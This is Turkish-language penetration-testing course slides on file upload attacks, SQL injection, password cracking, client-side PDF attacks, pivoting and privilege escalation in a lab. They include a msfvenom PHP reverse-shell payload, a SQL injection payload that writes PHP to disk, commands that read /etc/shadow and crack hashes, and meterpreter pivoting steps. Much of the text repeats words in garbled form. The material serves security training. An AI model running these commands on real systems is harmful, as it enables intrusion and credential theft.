Temel Adımlar
• Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya
yükleyebiliriz.
• Bu örnekte Metasploit'in PHP payload oluşturma imkanından
faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası
oluşturacak ve sunucuya bu dosyayı yükleyeceğiz.
• Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz
uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme
yükleyecek.
• Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu
prosesinin hakları ile sisteme erişeceğiz.
DOSYA YÜKLEME SENARYOSU
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129
LPORT=5555 -e php/base64 -f raw > payload.php

PHP payload'unun
başına ve sonuna "<?
php" ve "?>" tag'lerini
koymayı unutmayınız
DOSYA YÜKLEME SENARYOSU

Uygulama geliştirici
HTML kodu içinde
yüklenebilecek dosya
türlerini kısıtlamış
Ancak bu kısıtı aşmak
dosya uzantısını aşmak
veya bir resim seçtikten
sonra araya girerek
dosya içeriğini
değiştirmek kadar kolay
DOSYA YÜKLEME SENARYOSU
DOSYA YÜKLEME SENARYOSU

Dosya adı

Dosya içeriği
DOSYA YÜKLEME SENARYOSU

Dosya adını .php


uzantılı bir dosya adı
ile değiştiriyoruz
DOSYA YÜKLEME SENARYOSU

Dosyamız başarılı
biçimde yüklendi
DOSYA YÜKLEME SENARYOSU
Metasploit handler ile web
sunucusundan gelecek olan
reverse TCP bağlantıyı
beklemeye hazırız
DOSYA YÜKLEME SENARYOSU

Php payload'unun shell


erişimi malesef stabil değil
Bu nedenle bu noktadan
sonra meterpreter ile başka
bir binary payload yüklenerek
daha stabil bir bağlantı
sağlanabilir
WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler

SQL injection açıklığı için


• Hedef veritabanı nedir?
• Veritabanı tek seferde birden fazla SQL komutuna izin
verir mi?
• Veritabanının OS komutu çalıştırma imkanı var mıdır?
• Veritabanının bir dosyaya yazma imkanı var mıdır?
WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler

Payload seçimi, payload yükleme yöntemi seçimi için


• Hedef işletim sistemi nedir?
• Bu işletim sisteminde öntanımlı olarak bulunan veya
sonradan yüklenmiş dosya transfer komut imkanları
nelerdir?
• İşletim sistemine yönelik olarak nasıl bir payload
kullanmayı tercih edeceğiz?
WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler

Erişim bilgileri ele geçirildiğinde


• İşletim sistemi üzerinde hangi servisler aktiftir?

Uygulama dilinin tespiti


• LFI/RFI açıklıklarının analizi için
• File upload açıklığının kullanılması için
• Kod injection açıklıklarının analizi için
SQLMAP ARACININ ETKİNLİĞİ

Sistem
Sistem –– 11 senaryosunda
senaryosunda kullandığımız
kullandığımız SQLi
SQLi açıklığını
açıklığını
bu
bu defa
defa SQLMAP
SQLMAP aracı
aracı ile
ile test
test edelim.
edelim.
SQLMAP ARACININ ETKİNLİĞİ

Öncelikle
Öncelikle açıklığın
açıklığın bulunduğu
bulunduğu sayfaya
sayfaya tanılanmış
tanılanmış bir
bir
admin
admin kullanıcısı
kullanıcısı ile
ile erişebileceğimizi
erişebileceğimizi senaryo
senaryo
çalışması
çalışması sırasında
sırasında da
da görmüştük.
görmüştük.
SQLMAP ARACININ ETKİNLİĞİ

Sayfaya
Sayfaya tanılanmış
tanılanmış birbir kullanıcı
kullanıcı
olarak
olarak erişebilmek
erişebilmek için
için öncelikle
öncelikle
daha
daha önce
önce tespit
tespit ettiğimiz
ettiğimiz admin
admin
kullanıcı
kullanıcı parolasıyla
parolasıyla giriş
giriş yapacağız.
yapacağız.
Hedef
Hedef sayfaya
sayfaya da
da authenticate
authenticate
olduktan
olduktan sonra
sonra elde
elde ettiğimiz
ettiğimiz cookie
cookie
ile
ile erişebileceğiz.
erişebileceğiz. BuBu cookie'yi
cookie'yi elde
elde
edebilmek
edebilmek için
için iletişimimizi
iletişimimizi bir
bir
attack
attack proxy
proxy üzerinden
üzerinden geçireceğiz.
geçireceğiz.
SQLMAP ARACININ ETKİNLİĞİ

Trafiği
Trafiği incelemek
incelemek için
için Burp
Burp Suite
Suite aracını
aracını kullanıyoruz.
kullanıyoruz.
SQLMAP ARACININ ETKİNLİĞİ

"admin" / "btrisk"
erişim bilgileri ile giriş yapalım.
SQLMAP ARACININ ETKİNLİĞİ

Authenticate
Authenticate olduktan
olduktan sonra
sonra iletilen
iletilen
isteklerden
isteklerden herhangi
herhangi birisinden
birisinden
oturum
oturum cookie'lerini
cookie'lerini elde
elde edebiliriz.
edebiliriz.
SQLMAP ARACININ ETKİNLİĞİ

Repeater
Repeater modülünde
modülünde "keyword"
"keyword"
parametresine
parametresine tırnak
tırnak işareti
işareti
attığımızda
attığımızda SQL
SQL sunucu
sunucu hatasını
hatasını
gözlemleyebiliyoruz.
gözlemleyebiliyoruz.
SQLMAP ARACININ ETKİNLİĞİ

Sqlmap'e
Sqlmap'e gerekli
gerekli cookie
cookie parametresi
parametresi
ve
ve hedef
hedef daraltmak
daraltmak için
için injection
injection
yapılabilecek
yapılabilecek hedef
hedef parametre
parametre ve ve
veritabanı
veritabanı sunucu
sunucu tipini
tipini de
de veriyoruz.
veriyoruz.
SQLMAP ARACININ ETKİNLİĞİ

SQLMAP
SQLMAP bizim
bizim açıkça
açıkça gördüğümüz
gördüğümüz
keyword
keyword parametresinin
parametresinin SQLi
SQLi
açıklığına
açıklığına sahip
sahip olma
olma durumunu
durumunu tespit
tespit
edemiyor.
edemiyor.
SQLMAP ARACININ ETKİNLİĞİ
SQLMAP neden başarılı olamadı?
• Öncelikle "keyword" parametresine bir tırnak işareti ile istek
yapıldığında bile veritabanı sunucu hatası gözlenebilmektedir.
Bu açıdan SQLMAP beklentinin altında kalmıştır.
• POC payload'una baktığımızda injection yapılabilir
parametreye "')" şeklinde bir ekleme yapıldığı görülmektedir.
Bu tespit çok sayıda deneme veya kaynak kodun gözlenmesi
ile mümkün olabilir. Bu açıdan SQLMAP'in UNION SELECT
açıklığını tespit edememesi anlaşılabilir.
http://[host]/admin/index.php?
app=users&ajax=1&action=search&keyword=1') UNION SELECT
1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
PAROLA
KIRMA
SALDIRILARI
İÇERİK
• Parola Saldırı Türleri
• Hashing Algoritması
• Salt Yöntemi
• Rainbow Tables & Online Crackers
• Linux Hash Kırma
• Windows Hash Kırma
• MySQL Hash Kırma
• Çevrimiçi (Online) Parola Kırma
PAROLA SALDIRI TÜRLERİ
Parola hash bilgisine sahip olma durumuna göre:
• Çevrimdışı (offline) parola saldırıları – Hash var
• Çevrimiçi (online) parola saldırıları – Hash yok,
uzaktan veya sistem üzerinde dinamik olarak

Parola üretme yöntemine göre:


• Sözlük (dictionary) saldırıları
• Kaba kuvvet (brute force) saldırıları
• Hibrit saldırılar (sözlükten türetilmiş parola listesi)
HASHING ALGORİTMASI
Hashing tek yönlü (yani üretilen değerden geri
dönülemez) bir algoritmadır.

İyi bir hash algoritmasının iki temel özelliği olmalıdır:


• Düşük çarpışma (collusion) olasılığı, yani aynı hash
değerini üretecek farklı bir girdi bulma ihtimalinin
düşük olması
• Çığ (avalanche) etkisi, yani hash'i hesaplanan verinin
herhangi bir yerindeki bir değişikliğin tüm hash
değerini etkilemesi
SALT YÖNTEMİ
Parola saklamak için hashing yönteminin ilk kullanıldığı
yerlerden birisi Unix sistemlerdir. Unix sistemler çok
kullanıcılı olup tüm kullanıcıların kullanma ihtiyacı olan
komutlar nedeniyle (who gibi) /etc/passwd dosyasına
erişme hakkı vardır. Shadow dosya kontrolü henüz yok
iken kullanıcılar diğer kullanıcıların parola hash'lerini
görebildiklerinden parolası aynı olan kullanıcıların kendi
parolalarını bildiklerinden diğer kullanıcıların da
parolalarını keşfetme imkanı vardı.
Bu problem nedeniyle Unix sistemler üzerinde parola
hash'leri hesaplanırken bir de salt (tuz) değeri kullanılır.
RAINBOW TABLES & ONLINE CRACKERS

Salt
Salt kullanılmayan
kullanılmayan hash
hash değerleri
değerleri için
için
önceden
önceden hesaplanmış
hesaplanmış parola
parola
hash'lerini
hash'lerini kullanarak
kullanarak hızlı
hızlı parola
parola
kırma
kırma imkanı
imkanı bulunmaktadır.
bulunmaktadır.
RAINBOW TABLES & ONLINE CRACKERS

MD5
MD5
NTLM
NTLM
SHA1
SHA1
LINUX HASH KIRMA

Kali
Kali bilgisayarımızın
bilgisayarımızın kullandığı
kullandığı hash
hash
algoritması
algoritması SHA512
SHA512
Ayrıca
Ayrıca parola
parola hash'inin
hash'inin (daha
(daha sonra
sonra hash
hash
değerini
değerini göreceğiz)
göreceğiz) başındaki
başındaki "$6"
"$6" ifadesi
ifadesi
many
many rounds
rounds anlamına
anlamına geliyor
geliyor
Öntanımlı
Öntanımlı round
round sayısının
sayısının ise
ise 5000
5000
olduğunu
olduğunu bu bu dosyada
dosyada görebiliyoruz.
görebiliyoruz.
LINUX HASH KIRMA

Passwd
Passwd dosyasında
dosyasında kullanı
kullanı adını
adını ve
ve id
id
bilgisini
bilgisini görüyoruz.
görüyoruz.
Kullanıcı
Kullanıcı id'si
id'si "0"
"0" root
root kullanıcısı
kullanıcısı olduğu
olduğu
anlamına
anlamına geliyor.
geliyor. (Unix'te
(Unix'te kullanıcı
kullanıcı adı
adı
önemli
önemli değildir,
değildir, önemli
önemli olan
olan kullanıcı
kullanıcı
id'sidir)
id'sidir)
Parola
Parola alanlarında
alanlarında iseise "x"
"x" ifadesi
ifadesi geçiyor,
geçiyor,
çünkü
çünkü parola
parola hash
hash değerleri
değerleri shadow
shadow
dosyasında
dosyasında yer yer alıyor.
alıyor.
LINUX HASH KIRMA

Parola
Parola hash
hash değerlerini
değerlerini ise
ise shadow
shadow
dosyasında
dosyasında görüyoruz.
görüyoruz. Bu
Bu dosyayı
dosyayı root
root
kullanıcısı
kullanıcısı ve
ve shadow
shadow grubu
grubu dışındaki
dışındaki
kullanıcılar
kullanıcılar göremezler.
göremezler.
"*"
"*" ve
ve "!"
"!" değerleri
değerleri hiçbir
hiçbir parola
parola hash'i
hash'i bu
bu
değerlerle
değerlerle eşleşmeyeceği
eşleşmeyeceği için
için bu
bu
hesaplarla
hesaplarla logon
logon olunamaz
olunamaz anlamına
anlamına gelir.
gelir.
LINUX HASH KIRMA

"john"
"john" parola
parola kırma
kırma aracı
aracı Unix
Unix hash'lerini
hash'lerini
tek
tek bir
bir dosyada
dosyada beklediği
beklediği için
için "unshadow"
"unshadow"
aradı
aradı ile
ile her
her iki
iki dosyayı
dosyayı hash
hash içeren
içeren
passwd
passwd dosyası
dosyası haline
haline dönüştürüyoruz.
dönüştürüyoruz.

## unshadow
unshadow /etc/passwd
/etc/passwd /etc/shadow
/etc/shadow >> pwdhash.txt
pwdhash.txt
LINUX HASH KIRMA

Yapacağımız
Yapacağımız çalışmada
çalışmada kaba
kaba kuvvet
kuvvet yöntemini
yöntemini kullanabiliriz,
kullanabiliriz,
ancak
ancak bu
bu günler,
günler, aylar
aylar veya
veya daha
daha uzun
uzun sürebilir.
sürebilir. Örneğimizde
Örneğimizde
hedef
hedef kullanıcıların
kullanıcıların Ankara'lı
Ankara'lı olduğu
olduğu veya
veya Ankara
Ankara ileile ilişkili
ilişkili
olduğunu
olduğunu bildiğimizi
bildiğimizi varsayalım.
varsayalım.
Bu
Bu senaryoya
senaryoya göre
göre büyük
büyük bir
bir parola
parola dosyasından
dosyasından içinde
içinde "ankara"
"ankara"
kelimesi
kelimesi (büyük
(büyük harf
harf küçük
küçük harf
harf duyarsız
duyarsız biçimde)
biçimde) geçen
geçen
parolaları
parolaları seçiyoruz.
seçiyoruz. Bir
Bir başka
başka yöntem
yöntem de de parola
parola politikasını
politikasını
biliyorsak
biliyorsak böyle
böyle bir
bir dosyadan
dosyadan belirli
belirli uzunluktaki
uzunluktaki parolaları
parolaları ayırma
ayırma
yöntemi
yöntemi olabilir
olabilir (#
(# awk
awk -F:
-F: 'length($1)==6'
'length($1)==6' filename.txt
filename.txt gibi)
gibi)
Bu
Bu dosyaya
dosyaya ayrıca
ayrıca kullanıcı
kullanıcı adlarını
adlarını ekliyoruz.
ekliyoruz.

## grep
grep -i-i ankara
ankara /usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt >> dict.txt
dict.txt
## awk
awk -F:
-F: '{print
'{print $1}'
$1}' /etc/passwd
/etc/passwd >>
>> dict.txt
dict.txt
LINUX HASH KIRMA
## john
john --wordlist=dict.txt
--wordlist=dict.txt --rules
--rules pwdhash.txt
pwdhash.txt

John'a
John'a bir
bir sözlük
sözlük verdiğimiz
verdiğimiz gibi
gibi onun
onun --rules
--rules özelliğini
özelliğini kullanarak
kullanarak bu
bu sözlükteki
sözlükteki kelimeleri
kelimeleri
dönüştürmesini
dönüştürmesini de de istiyoruz.
istiyoruz.
John'un
John'un uyguladığı
uyguladığı kurallardan
kurallardan birisinin
birisinin de
de sözlükteki
sözlükteki kelimelerin
kelimelerin tersten
tersten yazılışı
yazılışı olduğu
olduğu
görülüyor,
görülüyor, çünkü
çünkü bizim
bizim sözlüğümüzde
sözlüğümüzde kullanıcı
kullanıcı adları
adları vardı,
vardı, ancak
ancak "root"un
"root"un parolasının
parolasının
"toor"
"toor" olduğunu
olduğunu bulabildi.
bulabildi.
WINDOWS HASH KIRMA

Kullanıcı
Kullanıcı NTLM
NTLM
ID
ID LM
LM Hash'i
Hash'i Hash'i
Hash'i
Adı
Adı

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
WINDOWS HASH KIRMA
Windows
Windows Vista
Vista // Windows
Windows Server
Server
2008'den
2008'den itibaren
itibaren LM
LM hash'leri
hash'leri
LM
LM Hash
Hash öntanımlı
öntanımlı olarak
olarak iptal
iptal edilmiştir.
edilmiştir.
Algoritması
Algoritması
WINDOWS HASH KIRMA
Kırılan
Kırılan LM
LM Hash
Hash parçaları
parçaları en
en
fazla
fazla 77 karakter
karakter ve
ve hepsi
hepsi büyük
büyük
aad3b435b51404eeaad3b435b51404ee
aad3b435b51404eeaad3b435b51404ee
harf
harf

Windows
Windows 7'den
7'den aldığımız
aldığımız LM
LM
Hash'inin
Hash'inin her
her iki
iki parçası
parçası da
da boş
boş
WINDOWS HASH KIRMA

NTLM
NTLM Hash'i
Hash'i kırmak
kırmak için
için
hashkiller.co.uk
hashkiller.co.uk sitesinden
sitesinden
faydalanabiliriz.
faydalanabiliriz.
WINDOWS HASH KIRMA
31d6cfe0d16ae931b73c59d7e0c089c0
31d6cfe0d16ae931b73c59d7e0c089c0
979357191cb4f445b47292af934fd2a7
979357191cb4f445b47292af934fd2a7

Birinci
Birinci hash
hash değeri
değeri atanmamış
atanmamış birbir parola
parola olduğu
olduğu için
için
bulunamayan
bulunamayan Administrator
Administrator kullanıcı
kullanıcı parolası
parolası
İkinci
İkinci hash
hash değeri
değeri "test"
"test" kullanıcısının
kullanıcısının parolası
parolası olan
olan
"btrisk"
"btrisk"
MYSQL HASH KIRMA
mysql>
mysql> select
select user,host,authentication_string
user,host,authentication_string from
from mysql.user
mysql.user

|| markzuckerberg
markzuckerberg || localhost
localhost || *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C
*7B8322522948E1C43FA9706BDD4043C0A8BFCD3C ||
|| root
root || %% || *12E48759FDB4B079E2C807E41B9756AD177719B3
*12E48759FDB4B079E2C807E41B9756AD177719B3 ||
MYSQL HASH KIRMA

MySQL
MySQL bağlantısında
bağlantısında eldeelde ettiğimiz
ettiğimiz bir
bir hash
hash değerini
değerini
hash-identifier
hash-identifier aracı
aracı ile
ile incelediğimizde
incelediğimizde bize
bize SHA1
SHA1 veya
veya
MySQL
MySQL hash'i
hash'i olduğunu
olduğunu söylüyor.
söylüyor.
MYSQL HASH KIRMA
hashkiller.co.uk
hashkiller.co.uk sitesinin
sitesinin veritabanına
veritabanına göre
göre bubu parola
parola
"dadada".
"dadada". BuBu tür
tür veritabanlarının
veritabanlarının oluşturulabilmesinin
oluşturulabilmesinin
sebebi
sebebi daha
daha önce
önce dede söylediğimiz
söylediğimiz gibi
gibi salt
salt değeri
değeri
kullanılmamış
kullanılmamış olması.
olması. Aksi
Aksi takdirde
takdirde bu
bu veritabanları
veritabanları için
için
gerekli
gerekli alan
alan ve
ve zaman
zaman çokçok daha
daha fazla
fazla olacaktı.
olacaktı.
ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA
hydra
hydra -l-l root
root -P
-P dict.txt
dict.txt 192.168.163.140
192.168.163.140 mysql
mysql

Çevrimiçi
Çevrimiçi (online)
(online) parola
parola saldırıları
saldırıları için
için kullanılabilecek
kullanılabilecek pek
pek çok
çok araçtan
araçtan bir
bir
tanesi
tanesi Hydra.
Hydra. Çevrimiçi
Çevrimiçi parola
parola saldırıları
saldırıları parola
parola hash'lerine
hash'lerine yönelik
yönelik
saldırılara
saldırılara nazaran
nazaran çok
çok daha
daha uzun
uzun sürdüğü
sürdüğü gibi
gibi log
log kayıtlarının
kayıtlarının oluşmasına
oluşmasına
ve
ve daha
daha kötüsü
kötüsü hesapların
hesapların kilitlenmesine
kilitlenmesine ve ve hizmet
hizmet kaybına
kaybına neden
neden olabilir.
olabilir.
Bu
Bu nedenle
nedenle dikkatli
dikkatli kullanılmaları
kullanılmaları gerekmektedir.
gerekmektedir.
ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA

Hydra
Hydra aracının
aracının desteklediği
desteklediği protokol
protokol ve
ve
servisler.
servisler.
İSTEMCİ
TARAFLI
SALDIRILAR
İSTEMCİ TARAFLI SALDIRILAR
• İstemci Taraflı saldırılar son kullanıcı tarafında
gerçekleştirilen saldırılardır.
• Burada oluşturduğumuz herhangi bir zararlı
içerik kullanıcının bilgisayarına iletilir.
• Bir site üzerindeki sahte bir uygulama veya dosya
örnek verilebilir.
• Adım adım bir uygulama gerçekleştirelim.
• Saldırı uygulamamızda bir pdf dosyası
kullanacağız.
İSTEMCİ TARAFLI SALDIRILAR

Zararlı içerik
oluşturma
İSTEMCİ TARAFLI SALDIRILAR

Zararlı içerik
oluşturma
İSTEMCİ TARAFLI SALDIRILAR
• Metasploit ile oluşturduğumuz ClientSide.pdf
dosyasını, mail veya farklı bir yolla kullanıcının
bilgisayarına gönderebilirsiniz.
• Biz senaryo amaçlı olarak kopyalıyoruz.
İSTEMCİ TARAFLI SALDIRILAR
İSTEMCİ TARAFLI SALDIRILAR

İstemci tarafına
aktarılan PDF dosyası
İSTEMCİ TARAFLI SALDIRILAR

Handler Payload
Tanımı
İSTEMCİ TARAFLI SALDIRILAR

Exploit
PIVOTING
PIVOTING
• Bir sunucuyu ele geçirdikten sonra bu sunucunun bağlı
olduğu diğer arayüzlerden erişilebilen sunuculara
erişim imkanımız doğacaktır.
• Farklı bir arayüz bulunmasa bile eriştiğimiz sunucu bir
firewall'un arkasında ise bizim tabi olduğumuz erişim
kurallarından bağımsız biçimde kendi iç ağındaki diğer
sunuculara erişim imkanı olabilir.
PIVOTING

Kali Linux Windows XP Linux Apache

192.168.2.211 10.0.0.121
192.168.2.235
10.0.0.120
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar:
• Sunucuya Konumlanma: Ele geçirilen sunucuya gerekli
araçları yükleyerek bu sunucu kaynakları üzerinden (komut
satırı, remote desktop v.b. bağlantılar ile) diğer sistemlere
erişmek
• Sunucuyu Router Olarak Kullanma: Atlama sistemi
üzerinde işletim sisteminin verdiği routing imkanları
kullanılarak ve kendi bilgisayarımızda gerekli routing
ayarlarını yaparak diğer sunuculara bu sistem üzerinden
erişmek (bu yöntem eğer hedef sunucu firewall'un arkasında ise
büyük oranda etkisiz olacaktır)
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar (devamı):
• Sunucuyu Port Forwarder Olarak Kullanma: Yine sunucu
platformunun sağladığı port forwarding imkanlarını veya bu
sunucu üzerinde çalışabilen port forwarding araçlarını
kullanarak diğer sistemlere erişmek. Bu yöntemde ele
geçirdiğimiz sistem bir firewall'un arkasında olsa bile bu
firewall'un izin verdiği bir porta erişerek arka taraftaki
herhangi bir IP adresinin herhangi bir portuna erişme
imkanımız olabilecektir.
PIVOTING
Linux Port Forwarding Örnekleri

Iptables ile port forwarding (ip forwarding aktif olmalı)


# iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to
192.168.1.222:8080
# iptables -A FORWARD -p tcp -d 192.168.1.222 --dport 8080 -j ACCEPT

Socat aracı ile port forwarding


# socat TCP-LISTEN:80,fork TCP:192.168.1.222:8080

Diğer araçlara örnekler


• rinetd
• redir
• haproxy
PIVOTING
Windows Port Forwarding Örnekleri

Netsh ile port forwarding


C:\> netsh interface portproxy add v4tov4 listenport=80
connectaddress=192.168.1.222 connectport=8080

Windows ortamındaki araçlar genellikle GUI arayüzlü


araçlar olduğu için çoğu zaman işimize yaramayacaktır.

Ancak Windows sunucu üzerinde bir SSH servisi (ör:


OpenSSH) çalıştırılabilirse (Linux'da da olduğu gibi) SSH'ın
port forwarding imkanı kullanılabilir.
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar (devamı):
• Meterpreter Oturumu Üzerinden Yönlendirme: Eğer
atlama sistemimizde meterpreter payload'u
çalıştırabilmişsek Metasploit'un sağladığı pivoting araçları
buraya kadar saydığımız yöntemler arasında en pratik
yönlendirmeyi sağlayacaktır.
PIVOTING
Metasploit ile Pivoting
1 Hedef sistemin ağ arayüzlerini inceleme
meterpreter> ipconfig [örneğimizde hedef sisteme eriştiğimiz arayüzün
192.168.121.15 olduğu ve bu sistem üzerinde bir de 10.1.0.120 IP adresli
ve 255.255.255.0 netmask lı bir başka arayüzün olduğu varsayılmıştır]

2 Hedef sistem üzerindeki meterpreter bileşenleri üzerinden routing'i aktifleştirme


meterpreter> run autoroute -h [bu komutla autoroute script i hakkında
yardım bilgisi edinebiliriz]
meterpreter> run autoroute -s 10.1.0.0/24
meterpreter> run autoroute -p [bu komutla mevcut routing tablomuz print
edilebilir]

3 Uzak ağdaki sistemleri ARP tarama ile tespit etme


meterpreter> run arp_scanner [script in opsiyonlarını bu komutla
görebilirsiniz]
meterpreter> run arp_scanner -r 10.1.0.0/24
PIVOTING
Metasploit ile Pivoting

Bu noktadan sonra port tarama için iki seçeneğimiz var:


1. Metasploit'in sistem üzerinde çalışan diğer
uygulamaların (örneğin nmap'in) kullanabileceği bir
proxy çalıştırması ve local sunucu üzerinde çalışacak
bu proxy portu üzerinden hedef subnet ve sunuculara
bu uygulamalarla erişme
2. Metasploit'in auxiliary/scanner/portscan/tcp modülü
ile yeni subnet üzerindeki sunucularda TCP port
tarama
PIVOTING
Metasploit ile Pivoting (1. Yöntem)
1 SOCKS proxy servisini başlatma
meterpreter> background [auxilary socks proxy modülümüzü kullanmak için
mevcut oturumumuzu arka plana atmalıyız]
msfconsole> sessions -l [aktif meterpreter oturumlarınızı listelemek
isterseniz, bu örnekte hedef sisteme bağlı olunan oturum numarasının "1"
olduğu
msfconsole> route add 10.1.0.0 255.255.255.0 1 [meterpreter oturumunun
içindeyken yaptığımız tanımdan sonra buna gerek olmaması lazım, ama route
print komutuyla bir kontrol ettikten sonra route tanımını göremiyorsanız
bu komutu çalıştırmanız gerekebilir]
msfconsole> route print [bu komutla eklediğiniz route konfigürasyonunda
herhangi bir hata olup olmadığını inceleyebilirsiniz]
msfconsole> use auxiliary/server/socks4a
msfconsole> show options [birşeyi değiştirmemiz gerekmez, ancak proxy nin
çalışacağı portun 1080 olduğunu hatırlamak için opsiyonlara göz atmakta
fayda var]
msfconsole> run [socks proxy arka planda çalışmaya başlar]
PIVOTING
Metasploit ile Pivoting (1. Yöntem)
2 Proxychains ayarı
/etc/proxychains.conf dosyası içinde aşağıdaki değişiklik yapılır:
socks4 127.0.0.1 1080

3 Proxychains kullanarak nmap ile port tarama


Bu aşamadan sonra proxychains uygulaması ile sistem üzerindeki
uygulamaları kullanabiliriz:
proxychains nmap -sT -Pn 10.1.0.155 [burada tarama yöntemi olarak TCP
connect scan in kullanılmış olmasına dikkat ediniz. Bu örnekte hedef IP
adresimiz 10.1.0.155 olarak seçilmiştir. -Pn opsiyonu özellikle önemli
çünkü proxy bağlantısı üzerinden ICMP ve UDP paketlerini taşınamaz, sadece
TCP paketleri iletilmelidir.]
proxychains nmap -sT -Pn -p- 10.1.0.155
PIVOTING
Metasploit ile Pivoting (2. Yöntem)

1 Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)
msfconsole> use auxiliary/scanner/portscan/tcp
msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini
değiştirmek isteyeceksiniz]
msfconsole> set ports 1-65535
msfconsole> set rhosts 10.1.0.155
msfconsole> run
PIVOTING
Metasploit ile Pivoting (2. Yöntem)

2 Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)
msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada
oturum numaranızın "1" olduğu varsayılmıştır]
meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter
komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz]
meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155

3 Lokal port üzerinden uzaktaki sisteme erişim


Bu adımdan sonra browser'ınızda şu URL'i yazdığınızda hedef HTTP servisine
erişirsiniz:
http://localhost:8000/
YETKİ
YÜKSELTME
İÇERİK
• Jenerik Yetki Yükseltme Metodu
• Linux Yetki Yükseltme Yöntemleri
• Windows Yetki Yükseltme Yöntemleri
JENERİK YETKİ YÜKSELTME METODU
1. Kullanıcı bilgilerimiz ve yetki seviyemiz
2. Sistem üzerinde bulunabilecek yetki yükseltme
açıklıkları yama eksikliklerinin tespiti
3. Sistem servisleri, zamanlı işler ve yüksek yetkili
uygulama dosyalarının incelenmesi
4. Sistem üzerinde çalışan proses’lerin, ağ servislerinin
incelenmesi
5. Erişim bilgileri v.d. hassas bilgi barındırabilecek
veritabanı ve dosyaların incelenmesi, sistem
genelinde konfigürasyon açıklıklarının araştırılması
JENERİK YETKİ YÜKSELTME METODU
1. Mevcut kullanıcımızın kim olduğu ve bu kullanıcının sistem üzerindeki haklarının
anlaşılması (mevcut kullanıcımız sistem yöneticisi olmasa da sistem yöneticisi
komutlarını çalıştırma hakları bulunabilir, diğer kullanıcılar hedef alınabilir)
2. Sistem üzerinde lokal yetki yükseltme imkanı verebilecek açıklıklarını kapatan
işletim sistemi yamalarının uygulanıp uygulanmadıklarının incelenmesi
3. Sistem servisleri, zamanlı işler ve yüksek yetkili uygulamaların tespiti, bunların
hangi kullanıcı hakları ile çalıştıklarının incelenmesi, yetki yükseltme açıklığı
barındırıp barındırmadıklarının, konfigürasyon zayıflıklarının incelenmesi
4. Uzaktan erişilemeyen ancak lokal olarak erişilebilen proses ve ağ servislerinin
tespiti, bunlarda bulunabilecek açıklıkların veya bunların konfigürasyonlarındaki
güvensiz ayarların incelenmesi
5. (Mevcut kullanıcı hakları ile erişebildiklerimiz için) Sistem üzerindeki diğer kullanıcı
home dizinlerinin, sistemin niteliğine uygun olarak belli sistem dosyalarının /
veritabanlarının (ör: registry) diğer kullanıcı hesaplarına geçiş imkanı
sağlayabilecek erişim bilgileri, v.b. bilgileri barındırıp barındırmadıklarının
R YA L
incelenmesi amacıyla gözden geçirilmesi
M ATE
N S
RE FERA
JENERİK YETKİ YÜKSELTME METODU
ÖNEMLİ

• Yetki yükseltme çalışmalarının önemli bölümü ve ilk adımı


bilgi toplama (enumeration) adımıdır.

• Ancak bilgi toplama tek başına bir işe yaramaz, edindiğiniz


bilgileri nasıl kullanacağınızı da bilmeniz gereklidir.
WINDOWS YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz

Domain adı (veya makine adı) ve kullanıcı adımız


C:\> whoami
Kullanıcımızın üye olduğu gruplar
C:\> whoami /groups
Sistem üzerindeki kullanıcılar ve kullanıcı grupları ile Administrators grubuna üye
kullanıcıların listeleri
C:\> net users
C:\> net localgroup
C:\> net localgroup Administrators
Metasploit post exploitation modülünü kullanarak kullanıcımızın hakları ile ilgili
enumeration
meterpreter> run post/windows/gather/win_privs
WINDOWS YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti
Sistem versiyon ve yama bilgilerini çekmek için
C:\> systeminfo
Exploit suggester script'ini kullanarak inceleme yapmak için
shell> systeminfo > C:\\windows\\temp\\systeminfo.txt
meterpreter> download C:\\windows\\temp\\systeminfo.txt
# ./windows-exploit-suggester.py --update
# pip install xlrd
# ./windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-27-mssb.xls >
winexploits.txt
# grep -i version winexploits.txt
# grep -i priv winexploits.txt
Mevcut bir meterpreter oturumu içinde local exploit araştırma
meterpreter> run post/multi/recon/local_exploit_suggester
WINDOWS YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti [SALDIRI ÖRNEĞİ – Metasploit Local Exploit]
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
